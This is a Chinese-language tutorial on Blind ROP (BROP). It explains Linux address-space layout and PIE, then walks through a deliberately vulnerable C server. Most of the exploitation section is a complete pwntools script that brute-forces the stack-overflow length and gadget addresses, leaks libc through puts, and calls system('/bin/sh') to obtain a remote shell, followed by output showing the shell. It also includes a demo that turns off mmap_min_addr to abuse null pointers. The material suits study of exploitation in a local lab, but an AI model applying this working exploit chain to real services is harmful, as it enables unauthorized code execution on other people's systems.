BROP介绍

BROP的全称是Bind ROP,之在不知道程序内存布局的情况下完成ROP攻击,在这里BROP有两个基础的要求,一是程序在崩溃后自带重新启动,二是重新启动后内存布局不会发生变化。

有了这两个基础条件的加持,我们就可以保证找到的地址是可以一直使用的,不至于产生“过期”的问题。

当正确的地址应该怎么样确定呢?既然地址不会“过期”,那遍历当然是一个非常有效的手段。

对于一个64位系统而言,尽管寻址时它只是使用48位(即2^{48}248字节,相当于256TB)地址空间进行寻址,但这个地址空间范围也是相当大了。

想要遍历地址也要有个范围吧!

1
2
用户态空间:0x0000000000000000 - 0x00007FFFFFFFFFFF
内核态空间:0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF

不错,Linux系统是的确给了个范围,在Linux系统当中将用户态空间和内核态空间做了隔离,内核通过TASK_SIZE_MAX宏分为“楚河汉届”,该宏标明了用户态空间的最大地址。

用户态程序地址的规律

当你熟悉Linux系统之后就会知道,用户态的地址是由规律可言的,下面会介绍这些规律。

在了解这些规律之前,我们首先需要知道什么是PIE。

PIE为什么存在?

在现代计算机系统当中,虽然内存资源是有限的,但是进程间的地址空间都是独立的,即在进程眼中自己都是占用着完整的内存空间,无需操心内存情况,至于物理内存资源是否真的可用,就要看操作系统如何进行调度了。

在独立的进程空间中,进程拥有了自由度,因此给不同的进程分配同样的内存布局也不会出现问题,直接在编译期分配固定的内存地址也不会带来问题。

尽管进程直接使用固定的内存地址不会带来内存使用方面的问题,但是固定的内存地址却会给黑客带来极大方便,为了缓解这一安全问题,Linux和GCC引入了PIE机制。

PIE的全称是Position-independent Executable,其含义是与位置无关的可执行文件,当然也可也将它称作是PIC(Position-independent Code 与位置无关的代码)。

PIE机制允许程序不使用固定的内存地址,使得程序可以被加载到任意的内存地址上,进而使得黑客无法方便的得知程序的内存布局情况。

开启PIE机制后会导致性能受到影响,LD程序允许通过LD_DEBUG=statistics查看程序加载过程中的性能统计信息。

1
2
3
4
5
6
7
8
9
10
LD_DEBUG=statistics
 
6544:
6544:     runtime linker statistics:
6544:       total startup time in dynamic loader: 4001326 cycles
6544:                 time needed for relocation: 24288 cycles (.6%)
6544:                      number of relocations: 83
6544:           number of relocations from cache: 7
6544:             number of relative relocations: 0
6544:                time needed to load objects: 41238 cycles (1.0%)

下面列出如何控制LD链接器开关PIE功能。

1
2
开启PIE:ld -fPIE    -pie    -fPIC
关闭PIE:ld -fno-PIE -no-pie -fno-PIC

无PIE时的内存地址规律

当PIE功能关闭时,程序的固定地址是由LD动态链接器进行设置的,可以通过-verbose查看指定的text-segment代表的起始地址,如果想要查看其他的架构情况。

1
2
3
4
5
6
7
amd64:
ld -verbose | grep -i text-segment
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
 
i386:
ld -melf_i386 -verbose | grep -i text-segment
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS;

当然上面的地址并不是一定的,LD链接器支持添加链接选项在链接期动态的选择内存地址。

1
2
3
4
5
6
7
8
-Wl,-Ttext-segment=xxxx
 
-Wl,-Ttext-segment=0x10000
(gdb) disassemble
Dump of assembler code for function main:
   0x000000000001116d <+0>:     push   %rbp
   0x000000000001116e <+1>:     mov    %rsp,%rbp
   ......

但是这个设置的地址是不可以小于0x10000(64kb)的,在计算机中存在着空指针错误,但这个空指针并不一定要是0x0,低于内核设置的mmap_min_addr都算作是空指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo sysctl -a | grep mmap
 
vm.hugetlb_optimize_vmemmap = 0
vm.mmap_min_addr = 65536
vm.mmap_rnd_bits = 28
vm.mmap_rnd_compat_bits = 8
 
ls /proc/sys/vm
admin_reserve_kbytes         dirtytime_expire_seconds   max_map_count              nr_hugepages              overcommit_ratio               user_reserve_kbytes
compaction_proactiveness     dirty_writeback_centisecs  memory_failure_early_kill  nr_hugepages_mempolicy    page-cluster                   vfs_cache_pressure
compact_memory               drop_caches                memory_failure_recovery    nr_overcommit_hugepages   page_lock_unfairness           watermark_boost_factor
compact_unevictable_allowed  extfrag_threshold          min_free_kbytes            numa_stat                 panic_on_oom                   watermark_scale_factor
dirty_background_bytes       hugetlb_optimize_vmemmap   min_slab_ratio             numa_zonelist_order       percpu_pagelist_high_fraction  zone_reclaim_mode
dirty_background_ratio       hugetlb_shm_group          min_unmapped_ratio         oom_dump_tasks            stat_interval
dirty_bytes                  laptop_mode                mmap_min_addr              oom_kill_allocating_task  stat_refresh
dirty_expire_centisecs       legacy_va_layout           mmap_rnd_bits              overcommit_kbytes         swappiness
dirty_ratio                  lowmem_reserve_ratio       mmap_rnd_compat_bits       overcommit_memory         unprivileged_userfaultfd

mmap_min_addr用于现在用户态程序可以申请到的最小内存地址,代表着虚拟地址空间的下界。对于C语言来讲,一个指针类型的变量在未初始化时默认就是NULL零值,且期望程序访问空指针时出现崩溃,当没有mmap_min_addr的限制时,零地址也是可以被使用的(与预期不符),假如零地址上存在被写入的内容,那么攻击者既可以借助任意的未初始化指针对零地址上的资源进行滥用,导致安全问题出现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
sudo sysctl -w vm.mmap_min_addr="0"
 
被映射的空间:
00000000-00001000 rwxp 00000000 00:00 0
 
源代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <bits/mman-linux.h>
 
static int vuln(char* data)
{
    char cmd[0x100];
 
    strncpy(cmd, data, 0x100);
    system(cmd);
}
 
int main(void)
{
    char* msg = "/bin/sh\0";
 
    mmap(0, 0x1000, PROT_READ  |PROT_WRITE | PROT_EXEC,
        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    perror("mmap");
    memcpy(0, msg, sizeof(msg));
     
    msg = NULL;
    vuln(msg);
}
 
程序运行结果:
./null_ptr s
mmap: Success
$ ls
main.c  Makefile  null_ptr  obj
$ exit

不管是AMD64架构还是i386架构图,它们都选择向更远离mmap_min_addr记录的地址处映射程序。

有PIE时的内存地址规律

在PIE机制开启时,ELF文件内部就不会在直接分配内存地址,转为只分配偏移值,程序被加载进入内核后,会被分配一个基地址,基地址+偏移值组成了一个可用的内存地址。

内核如何区分程序是否启用PIE

不同程序间的虚拟地址空间都是独立的,程序A开启了PIE,程序B关闭了PIE,它们都应该是可用运行的,内核不可能支持一种,但是考虑到内核需要根据PIE决定给不给程序分配基地址,所以内核需要找到一种方法分辨PIE是否开启。

通过file工具观察ELF文件,可以发现该工具可以直接根据ELF文件识别出PIE是否启用,那么它是如何识别的呢?

1
2
3
file观察结果:
关闭PIE:ELF 64-bit LSB executable
开启PIE:ELF 64-bit LSB pie executable

这个问题答案并不复杂,ELF文件会向.dynamic动态链接节中的FLAGS_1元素添加PIE标志位,内核会根据该标志位是否存在决定分不分配基地址。

1
2
#define DF_1_PIE    0x08000000
0x000000006ffffffb (FLAGS_1)            Flags: PIE

在Linux内核中,它给程序分配的基地址是根据TASK_SIZE(用户态程序的虚拟地址空间最大地址)进行计算的,对于使用48位地址空间的64位内核而言,TASK_SIZE的大小一般是0x7ffffffff000,ELF_ET_DYN_BASE一般是0x555555554aaa,load_bias会根据程序的地址对齐情况,以及ASLR是否开启等情况,进行进一步的变化。

1
2
3
4
5
TASK_SIZE = 0x7ffffffff000
 
#define ELF_ET_DYN_BASE     ((TASK_SIZE / 3) * 2)
 
load_bias = ELF_ET_DYN_BASE -> 0x555555554aaa

地址规律的总结

在Linux系统当中,用户态程序的地址问题首先会根据PIE机制的启用情况决定,未启动PIE程序为了让零地址是有问题的,所以通过mmap_min_addr设置虚拟地址空间的下界,保证低地址不会被使用,这个限制可以通过sysctl和虚文件取消。

在AMD64架构和i386架构中,LD一般使用0x400000和0x08048000作为最低地址。

对于开启PIE的程序来讲,它会根据ELF_ET_DYN_BASE的地址映射到虚拟地址空间中,使用48位地址空间的Linux内核中ELF_ET_DYN_BASE的数值一般是0x555555554aaa。

难以擦测的地址

在上面的分析中,我们知道了用户态程序被映射到虚拟地址空间的起始地址是有迹可循的,但在PIE关闭时也可以通过链接选项进行自定义设置,而且程序的位数和架构也会对地址产生影响。

因此在不知道足够信息的情况下,我们仍然很难知道大致的地址范围。

猜测思路

猜测缓冲区长度

此时我们利用的是缓冲区漏洞,但由于程序的二进制和源代码都是未知的,因此我们不能知道缓冲区的大小是多少,为了触发缓冲区漏洞,我们首先需要将缓冲区的长度猜测出来。

猜测缓存区的长度并不复杂,比较暴力的从1开始逐渐累加就是一种比较可靠的方式。

程序状态的控制

程序接收到paylaod后的状态可以分成三类,一是直接崩溃,二是运行一段时间后崩溃,三是不崩溃。

在得到缓冲区的长度之后,考虑到程序需要猜测不同的地址以及不断的接收payload,所以我们首先需要让程序重复的进入读取状态,即找到一个让程序不会崩溃的返回地址,且在该返回地址之后还会调用read函数。

除了进入读取状态的地址外,考虑到需要判断不同地址的类型,因此这里我们需要用到一个可以直接导致崩溃的地址。

示例讲解

下方给出了程序的源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
static void vuln(void)
{
    char buf[0x100];
 
    read(STDIN_FILENO, buf, 0x1000);
}
 
int main(void)
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
 
    puts("hello brop!");
    vuln();
    puts("bye, brop");
}

下面给出了ELF文件中关键的反汇编信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
......
0000000000401020 <puts@plt-0x10>:
  401020:       ff 35 ca 2f 00 00       push   0x2fca(%rip)        # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
  401026:       ff 25 cc 2f 00 00       jmp    *0x2fcc(%rip)        # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
  40102c:       0f 1f 40 00             nopl   0x0(%rax)
 
0000000000401030 <puts@plt>:
  401030:       ff 25 ca 2f 00 00       jmp    *0x2fca(%rip)        # 404000 <puts@GLIBC_2.2.5>
  401036:       68 00 00 00 00          push   $0x0
  40103b:       e9 e0 ff ff ff          jmp    401020 <_init+0x20>
......
0000000000401060 <_start>:
  401060:       31 ed                   xor    %ebp,%ebp
  401062:       49 89 d1                mov    %rdx,%r9
  401065:       5e                      pop    %rsi
  401066:       48 89 e2                mov    %rsp,%rdx
......
00000000004011d0 <__libc_csu_init>:
  ......
  401222:       5b                      pop    %rbx
  401223:       5d                      pop    %rbp
  401224:       41 5c                   pop    %r12
  401226:       41 5d                   pop    %r13
  401228:       41 5e                   pop    %r14
  40122a:       41 5f                   pop    %r15
  40122c:       c3                      ret
  40122d:       0f 1f 00                nopl   (%rax)
......

exploit构造

根据上面的分析,接下来开始构造exploit,目前已知程序是64位且关闭PIE的,地址也没有经过额外的设置,因此这里使用0x400000作为基地址。

获取完基地址后,要做的就是获取一个可以进入read函数的地址,保证payload被持续接收,再就是获取一个可以直接导致程序崩溃的返回地址。

为了构造完整的exploit,我们需要找到一个可以从栈上弹出各种寄存器的地方,csu是一个很好的目标。

csupop六次,这样大量的popret是少见的,因此我们在猜测的csu gadget地址后添加六个数值,再在最后添加进入read函数的地址,只要它可以顺利进入read函数,我们就可以得到csu gadget

接下来,需要泄露程序内部的信息,所以需要先找到puts函数的位置。这一步并不难,我们设置rdi到指定的地址,如果猜测的地址会调用puts,那么我们就可以根据泄露的信息进行判断(目标地址可以设置为0x400000,因为ELF文件的开头是固定的文本信息,可以根据它进行判断)。

除了程序内部的信息之外,我们还需泄露LibC中的信息用于构造payload,在程序中.got.plt中记录的就是LibC内部的地址,那么应该如何找到.got.plt的地址呢?

我们知道plt表是有规律可循的,可以泄露地址上的指令数据进行判断,如果表项中的三条指令都匹配那就是找到.got.plt了。

1
2
3
ff 25 xx xx xx xx       # jmp got.plt
68 xx                   # push relocation index
e9 xx xx xx xx xx       # jmp .plt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
import pwn
import sys
import configparser
 
 
sys.path.append('../../MyTools')
import gadgets_info
import conversion
 
pwn.context.clear()
pwn.context.update(
    arch = 'amd64', os = 'linux',
)
 
target_info = {
    'exec_path': './brop_example',
    'libc_info': None,
    'conn': None,
    'config_info': None,
    'config_path': 'config.ini',
    'addr_len': 0x8,
    'crash_addr': 0x0,
    'stack_overflow_len': 0x0,
    'read_mode_enter_addr': 0x0,
    'csu_gadget_addr': 0x0,
    'csu_pop_rdi_offset': 0x9,
    'csu_pop_regs_count': 0x6,
    'plt4puts_addr': 0x0,
    'puts_target_addr': 0x400000,
    'puts_tagert_signature_code': b'\x7fELF',
    'gotplt4puts_addr_leak': 0x0,
    'plt_instructions_code_index': 0x0,
    'push_rela_index2jmp_gotplt_offset': 0x6,
    'jmp_plt2jmp_gotplt_offset': 0xb,
    'plt_instructions_code_info': [
        b'\xff\x25',        # jmp got.plt
        b'\x68',            # push relocation index
        b'\xe9',            # jmp .plt
    ],
}
 
def config_parse_failed_handle(msg):
    print('[--] parse config [{0}] failed'.format(target_info['config_path']))
    if msg != None:
        print('[--] {0}'.format(msg))
    exit(-1)
 
def config_info_init():
    try:
        target_info['config_info'] = configparser.ConfigParser()
        target_info['config_info'].read(target_info['config_path'])
    except Exception:
        config_parse_failed_handle(None)
 
def config_field_get(tag_name, field_name):
    try:
        val = target_info['config_info'][tag_name][field_name]
        return val
    except Exception:
        config_parse_failed_handle('get [{0}] - [{1}]'.format(tag_name, field_name))
        return -1
 
def config_field_set(tag_name, field_name, value):
    try:
        target_info['config_info'][tag_name][field_name] = str(value)
        with open(target_info['config_path'], 'w') as cfg_file:
            target_info['config_info'].write(cfg_file)
    except Exception:
        config_parse_failed_handle('set [{0}] - [{1}]'.format(tag_name, field_name))
 
def connect_start():
    try:
        target_info['conn'] = pwn.remote('127.0.0.1', 9527)
        data = target_info['conn'].recvuntil(b'hello brop!\n')
    except Exception:
        print('[--] cannot start connect')
        exit(-1)
 
def connect_stop():
    try:
        target_info['conn'].close()
        target_info['conn'] = None
    except Exception:
        print('[--] cannot close connect')
        exit(-1)
 
def stack_overflow_len_get():
    _len = int(config_field_get('stack_info', 'stack_overflow_length'))
    print('[--] current stack overflow length = {0}'.format(_len))
    if _len <= 0:
        _len = 1
 
    while True:
        try:
            connect_start()
            print(_len)
 
            payload = b'A' * _len
            target_info['conn'].send(payload)
            target_info['conn'].recv()
            connect_stop()
 
            _len += 1
        except Exception:
            connect_stop()
            _len -= 1
 
            config_field_set('stack_info', 'stack_overflow_length', _len)
            print('[++] available stack overflow length = {0}'.format(_len))
            return _len
 
def crash_addr_check(addr, is_crash, payload, leak_data):
    if is_crash == True:
        config_field_set('bind_rop_info', 'crash_addr', hex(addr))
        return addr
    return None
 
def read_mode_addr_check(addr, is_crash, payload, leak_data):
    try:
        ret = None
        has_crash = False
        if is_crash == True:
            return ret
 
        test_payload = b'B' * target_info['stack_overflow_len']
        if target_info['read_mode_enter_addr'] != 0x0:
            test_payload += pwn.p64(target_info['read_mode_enter_addr'])
        else:
            test_payload += pwn.p64(addr)
        target_info['conn'].send(test_payload)
        target_info['conn'].recv(timeout = 5)
        target_info['conn'].send(test_payload)
        target_info['conn'].recv(timeout = 5)
    except Exception:
        print('[--] receive Exception')
        has_crash = True
    if has_crash == False:
        ret = addr
    return ret
 
def csu_gadget_addr_check(addr, is_crash, payload, leak_data):
    ret = read_mode_addr_check(addr, is_crash, payload, leak_data)
    if ret != None:
        try:
            ret = None
            test_payload = payload
            test_payload += pwn.p64(0x0) * target_info['csu_pop_regs_count']
            test_payload += pwn.p64(target_info['crash_addr'])
            target_info['conn'].send(test_payload)
            target_info['conn'].recv(timeout = 5)
        except Exception:
            ret = addr
    return ret
 
def plt4puts_addr_check(addr, is_crash, payload, leak_data):
    if is_crash == False:
        print(leak_data)
        if leak_data.startswith(target_info['puts_tagert_signature_code']):
            return addr
    return None
 
def leak_libc_by_gotplt_store_addr_check(addr, is_crash, payload, leak_data):
    global pre_addr
    global leak_info
    if pre_addr != 0x0:
        if (addr - pre_addr) > 0x8:
            target_info['plt_instructions_code_index'] = 0x0
    if leak_data.startswith(target_info['plt_instructions_code_info'][target_info['plt_instructions_code_index']]):
        if target_info['plt_instructions_code_index'] == 0x0:
            leak_info = leak_data
        if target_info['plt_instructions_code_index'] == 0x2:
            plt_starting_addr = addr - target_info['jmp_plt2jmp_gotplt_offset']
            print('[--] [{0}] was plt starting address'.format(hex(plt_starting_addr)))
            return plt_starting_addr
        target_info['plt_instructions_code_index'] += 1
        pre_addr = addr
    return None
 
def addr_traversal(cfg_tag_name, cfg_field_name, check_rule, rop_fix, payload_fix):
    addr = int(config_field_get(cfg_tag_name, cfg_field_name), 16)
    if addr <= 0:
        addr = int(config_field_get('bind_rop_info', 'base_addr'), 16)
    print('[--] current address = {0}'.format(hex(addr)))
    leak_data = b''
 
    while True:
        try:
            has_crash = False
            connect_start()
 
            print('[--] try address = {0}'.format(hex(addr)))
            pre_payload = b'A' * target_info['stack_overflow_len']
            if rop_fix != None:
                pre_payload += rop_fix
            pre_payload += pwn.p64(addr)
            payload = pre_payload
            if payload_fix != None:
                payload = pre_payload + payload_fix
            target_info['conn'].send(payload)
            leak_data = target_info['conn'].recv(timeout = 5)
        except Exception:
            print('[--] receive exception')
            has_crash = True
 
        ret = check_rule(addr, has_crash, pre_payload, leak_data)
        connect_stop()
        if ret != None:
            print('[--] available {0} address = {1}'.format(cfg_field_name, hex(ret)))
            config_field_set(cfg_tag_name, cfg_field_name, hex(ret))
            return ret
        addr += 1
 
pwn.context.binary = pwn.ELF(target_info['exec_path'])
target_info['libc_info'] = pwn.ELF(target_info['exec_path']).libc
 
config_info_init()
 
target_info['stack_overflow_len'] = stack_overflow_len_get()
target_info['crash_addr'] = addr_traversal(
    'bind_rop_info', 'crash_addr',
    crash_addr_check, None, None
)
target_info['read_mode_enter_addr'] = addr_traversal(
    'bind_rop_info', 'read_mode_addr',
    read_mode_addr_check, None, None
)
 
brop_csu_find_payload_fix = pwn.p64(0x0) * target_info['csu_pop_regs_count']
brop_csu_find_payload_fix += pwn.p64(target_info['read_mode_enter_addr'])
target_info['csu_gadget_addr'] = addr_traversal(
    'bind_rop_info', 'csu_gadget_addr',
    csu_gadget_addr_check, None,
    brop_csu_find_payload_fix
)
 
pop_rdi_offset = target_info['csu_gadget_addr'] + target_info['csu_pop_rdi_offset']
plt4puts_find_rop_fix = pwn.p64(pop_rdi_offset)
plt4puts_find_rop_fix += pwn.p64(target_info['puts_target_addr'])
plt4puts_find_payload_fix = pwn.p64(target_info['read_mode_enter_addr'])
target_info['plt4puts_addr'] = addr_traversal(
    'bind_rop_info', 'plt4puts_addr',
    plt4puts_addr_check, plt4puts_find_rop_fix,
    plt4puts_find_payload_fix
)
 
gotplt4puts_find_rop_fix =  pwn.p64(pop_rdi_offset)
gotplt4puts_find_payload_fix = pwn.p64(target_info['plt4puts_addr'])
gotplt4puts_find_payload_fix += pwn.p64(target_info['read_mode_enter_addr'])
target_info['plt_instructions_code_index'] = 0x0
pre_addr = 0x0
leak_info = None
target_info['gotplt4puts_addr_leak'] = addr_traversal(
    'bind_rop_info', 'gotplt4puts_addr',
    leak_libc_by_gotplt_store_addr_check, gotplt4puts_find_rop_fix,
    gotplt4puts_find_payload_fix
)
 
offset = conversion.bytes2int(leak_info[2:4])
target_info['gotplt4puts_addr_leak'] += target_info['push_rela_index2jmp_gotplt_offset'] + offset
 
connect_start()
payload = b'C' * target_info['stack_overflow_len']
payload += pwn.p64(pop_rdi_offset)
payload += pwn.p64(target_info['gotplt4puts_addr_leak'])
payload += pwn.p64(target_info['plt4puts_addr'])
payload += pwn.p64(target_info['read_mode_enter_addr'])
 
target_info['conn'].send(payload)
data = target_info['conn'].recv(timeout = 5)
libc_puts_addr = conversion.bytes2int(data[:6])
libc_base = libc_puts_addr - 0x77980
print('[**] libc base address = {0}'.format(hex(libc_base)))
 
libc_system_addr = libc_base + target_info['libc_info'].symbols['system']
libc_binsh_addr = libc_base + target_info['libc_info'].search(b'/bin/sh').__next__()
payload = b'A' * target_info['stack_overflow_len']
payload += pwn.p64(pop_rdi_offset)
payload += pwn.p64(libc_binsh_addr)
payload += pwn.p64(pop_rdi_offset + 1)
payload += pwn.p64(libc_system_addr)
payload += pwn.p64(target_info['read_mode_enter_addr'])
target_info['conn'].sendline(payload)
 
target_info['conn'].interactive()

成功PWN

运行exploit后就可以直接获取Shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
[*] '/home/astaroth/Labs/PWN/UserMode/Stack/0x000D_BROP/brop_example'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[--] current stack overflow length = 264
[+] Opening connection to 127.0.0.1 on port 9527: Done
264
[*] Closed connection to 127.0.0.1 port 9527
[+] Opening connection to 127.0.0.1 on port 9527: Done
265
[*] Closed connection to 127.0.0.1 port 9527
[++] available stack overflow length = 264
[--] current address = 0x401000
[+] Opening connection to 127.0.0.1 on port 9527: Done
[--] try address = 0x401000
[--] receive exception
[*] Closed connection to 127.0.0.1 port 9527
[--] available crash_addr address = 0x401000
[--] current address = 0x401060
[+] Opening connection to 127.0.0.1 on port 9527: Done
[--] try address = 0x401060
[*] Closed connection to 127.0.0.1 port 9527
[--] available read_mode_addr address = 0x401060
[--] current address = 0x401222
[+] Opening connection to 127.0.0.1 on port 9527: Done
[--] try address = 0x401222
[*] Closed connection to 127.0.0.1 port 9527
[--] available csu_gadget_addr address = 0x401222
[--] current address = 0x401025
[+] Opening connection to 127.0.0.1 on port 9527: Done
[--] try address = 0x401025
b'\x7fELF\x02\x01\x01\nhello brop!\n'
[*] Closed connection to 127.0.0.1 port 9527
[--] available plt4puts_addr address = 0x401025
......
[--] available gotplt4puts_addr address = 0x401030
[**] bytes: b'\xca/'
[**] hex: 0x2fca
[+] Opening connection to 127.0.0.1 on port 9527: Done
[**] bytes: b'\x80\xc9\xec0\x1b\x7f'
[**] hex: 0x7f1b30ecc980
[**] libc base address = 0x7f1b30e55000
[*] Switching to interactive mode
$ id
uid=1000(astaroth) gid=1000(astaroth) groups=1000(astaroth),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),114(bluetooth),117(lpadmin),121(scanner)
$